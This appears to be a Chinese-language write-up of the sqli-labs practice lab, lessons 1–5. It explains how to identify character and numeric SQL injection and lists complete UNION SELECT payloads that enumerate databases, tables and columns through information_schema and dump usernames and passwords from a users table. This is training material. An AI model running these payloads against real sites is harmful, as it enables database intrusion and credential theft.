page 1
less-1
判断注入
请输入id作为数值的参数
我们输入id=1判断有没有注入
有注入
尝试改变参数值,将参数值+1或-1,然后查看页面展示的内容是否会变化,如果页面会发生变化,我们就可以初步判断,这个id会带入数据库查询,查询后的内容会显示到页面中来。
后加单引号
有回显
用--注释掉后面
显示正常
说明是字符型注入,因为该页面存在回显,所以我们可以使用联合查询
联合查询:
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数
联合查询会将两条查询语句的查询结果拼接到一起返回!于是反映出联合查询需遵守的一个规则便是,两条查询语句的查询字段数必须相等,于是乎在利用联合查询进行注入的时候我们第一步要做的就是判断后端代码中的SQL查询语句的字段数。
order by + 数字通过页面状态查看有几列然后通过 union select 判断回显位(注意判断回显位的时候,前面查询的值要为假,不然回显位会被前面查询的结果所占用,导致看不到回显位)
3列
第二步:爆出显示位
就是看看表格里面那一列是在页面显示的。
?id=-1'union select 1,2,3--+
注意 id=-1, 此处 id 的值必须是一个在数据库中 id 字段不存在的值,否则联合查询第一条语句的查询结 果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。
(顺便说一下,搜狗没有火狐好用,从这里开始还是改回了火狐浏览器)
可以看到是第二列和第三列里面的数据是显示在页面的。
第三步:数据名和版本号
?id=-1'union select 1,database(),version()--+
名:security,版本号:5.7.26
第四步:表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+information_schema库是 mySQL 自带的一个库,其中包含了当前数据库管理系统的所有信息,但该数据库并不是一个实体的数据库,它不存储任何实际意义上的数据,它只是整个数据库管理系统的一个视图,当某个数据库的某个表发生变化时,information_schema 库中相关的数据将同时发生变化。在注入中,我们关注的是该库中的schemata 、 tables 、 columns 三个表。他们分别存储了整个数据库 管理系统的所有数据库信息,表信息,字段信息。在schemata 表中,通过 schema_name 字段可以获取所有的 数据库名;在tables, 通过 table_name 、 table_schema 字段可以获取所有的表名与其对应的数据库名;在 columns表中,通过 columns、 table_name 、 table_schema 字段可以获取所有的字段名以及其所属表与数 据库。我们的注入思路就是先通过 mysql 的内建函数 database(), 获取当前数据库名,再通过 tables 表获取,所有的表信息,再通过columns 表获取上述表所有的字段,最后通过字段查询想要的数据。当然使用information_schema 库查询信息有一个很重要的条件限制,那就是,需要当前连接数据库的用户具有读该数据库的权限
四个表名为emails,referers,uagents,users
账号密码应该是在users表中的,所以我们直接爆users的字段名
第五步:字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:查数据
用id分隔一下username和password
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
less-2
判断注入类型
前面过程跟1一样,不说了直接上图
数字型注入
步骤
1.判断列数
3列
2.显示位
2和3列
3.数据库名版本号
security
4.表名
5.字段名
后面的图我不想截了,除了是字符型注入,跟第一道题一模一样
6.查数据
less-3
判断注入类型
本来以为也是字符型但是看到这里发现不对
报错信息里面有括号
sql语句是单引号字符型且有括号
步骤
从这里开始步骤就和前面的一样了,后面的就不用写了直接上结果吧
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
less-4
判断注入类型
sql语句是双引号字符型且有括号
步骤
过程都一样
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
less-5
不一样了
字符型
这个算是没有回显的,就不能使用联合注入了,可以用布尔盲注